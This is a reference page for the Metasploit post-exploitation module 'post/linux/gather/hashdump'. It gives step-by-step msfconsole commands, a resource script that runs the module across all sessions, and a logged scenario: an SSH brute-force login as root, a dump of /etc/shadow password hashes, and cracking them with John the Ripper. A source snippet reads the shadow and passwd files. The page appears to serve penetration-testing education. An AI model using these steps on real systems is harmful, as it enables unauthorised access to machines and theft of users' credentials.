Linux Gather Dump Password Hashes for Linux Systems - Metasploit


This page contains detailed information about how to use the post/linux/gather/hashdump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Linux Gather Dump Password Hashes for Linux Systems
Module: post/linux/gather/hashdump
Source code: modules/post/linux/gather/hashdump.rb
Disclosure date: -
Last modification time: 2022-10-13 10:13:27 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Post Module to dump the password hashes for all users on a Linux System

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/linux/gather/hashdump

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/linux/gather/hashdump
msf post(hashdump) > show options
    ... show and set options ...
msf post(hashdump) > set SESSION session-id
msf post(hashdump) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/linux/gather/hashdump")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Verification Steps

  1. Start msfconsole
  2. Get a session via exploit of your choice
  3. Do: use post/linux/gather/hashdump
  4. Do: set session <session>
  5. Do: run
  6. You should see the contents of the shadow file

Options

SESSION

Which session to use, which can be viewed with sessions -l

Scenarios

Obtain Hashes

Typical run against Kali, using ssh_login for initial shell

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set username root
username => root
msf auxiliary(ssh_login) > set password "test"
password => example_password
msf auxiliary(ssh_login) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(ssh_login) > exploit

[*] SSH - Starting bruteforce
[-] SSH - Could not connect: The connection was refused by the remote host (127.0.0.1:22).
[!] No active DB -- Credential data will not be saved!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > exploit

[*] SSH - Starting bruteforce
[+] SSH - Success: 'root:test' 'uid=0(root) gid=0(root) groups=0(root) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (127.0.0.1:41521 -> 127.0.0.1:22) at 2016-09-14 00:12:36 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > use post/linux/gather/hashdump 
msf post(hashdump) > set session 1
session => 1
msf post(hashdump) > exploit

[+] root:$6$eMImGFXb$3eYV4g315Qf2NA1aQ72yMwnM68PapXfCoP74kAb5vmQoqOz7sDTJQEMPUNNjZSEz.E4tXebqvt2iR3W50L8NX.:0:0:root:/root:/bin/bash
[+] test:$6$gsSmzVTM$vxnEAvs2jEhuFtq0yzgCm.p49RmirvyI6HvPXgbLZCtg1sLp5Q2U82U6Gv6i5hz/pcsz882rnLRAyIL24h3/N.:1000:1000:test,,,:/home/test:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20160914003144_default_127.0.0.1_linux.hashes_080983.txt
[*] Post module execution completed

This module only works when you are root or have root permisions. If you only have user permission, expect feedback:

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set username test
username => test
msf auxiliary(ssh_login) > set password test
password => test
msf auxiliary(ssh_login) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf auxiliary(ssh_login) > exploit

[*] SSH - Starting bruteforce
[+] SSH - Success: 'test:test' 'uid=1000(test) gid=1000(test) groups=1000(test) Linux k 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (127.0.0.1:44823 -> 127.0.0.1:22) at 2016-09-14 00:24:17 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > use post/linux/gather/hashdump
msf post(hashdump) > set session 1
session => 1
msf post(hashdump) > exploit

[-] You must run this module as root!
[*] Post module execution completed

### Crack Hashes (John the Ripper)

The stored file can then have a password cracker used against it. In this scenario, we'll use john (the ripper).
root@k:/git/metasploit-framework# john /root/.msf4/loot/20160914003144_default_127.0.0.1_linux.hashes_080983.txt Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt" Use the "--format=crypt" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x]) Press 'q' or Ctrl-C to abort, almost any other key for status test (test) test (root) 2g 0:00:00:00 DONE 1/3 (2016-09-14 00:32) 40.00g/s 460.0p/s 480.0c/s 480.0C/s test..oo Use the "--show" option to display all of the cracked passwords reliably Session completed

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Msfconsole Usage

Here is how the linux/gather/hashdump post exploitation module looks in the msfconsole:

msf6 > use post/linux/gather/hashdump

msf6 post(linux/gather/hashdump) > show info

       Name: Linux Gather Dump Password Hashes for Linux Systems
     Module: post/linux/gather/hashdump
   Platform: Linux
       Arch: 
       Rank: Normal

Provided by:
  Carlos Perez <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  Post Module to dump the password hashes for all users on a Linux 
  System

Module Options

This is a complete list of options available in the linux/gather/hashdump post exploitation module:

msf6 post(linux/gather/hashdump) > show options

Module options (post/linux/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the linux/gather/hashdump post exploitation module:

msf6 post(linux/gather/hashdump) > show advanced

Module advanced options (post/linux/gather/hashdump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the linux/gather/hashdump module can do:

msf6 post(linux/gather/hashdump) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the linux/gather/hashdump post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(linux/gather/hashdump) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Shadow file must be readable in order to dump hashes

Here is a relevant code snippet related to the "Shadow file must be readable in order to dump hashes" error message:

21:	  end
22:	
23:	  # Run Method for when run command is issued
24:	  def run
25:	    unless readable?('/etc/shadow')
26:	      fail_with Failure::NoAccess, 'Shadow file must be readable in order to dump hashes'
27:	    end
28:	
29:	    passwd_file = read_file('/etc/passwd')
30:	    unless passwd_file.nil?
31:	      p = store_loot("linux.passwd", "text/plain", session, passwd_file, "passwd.tx", "Linux Passwd File")

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See Also

Check also the following modules related to this module:

Authors

  • Carlos Perez <carlos_perez[at]darkoperator.com>

Version

This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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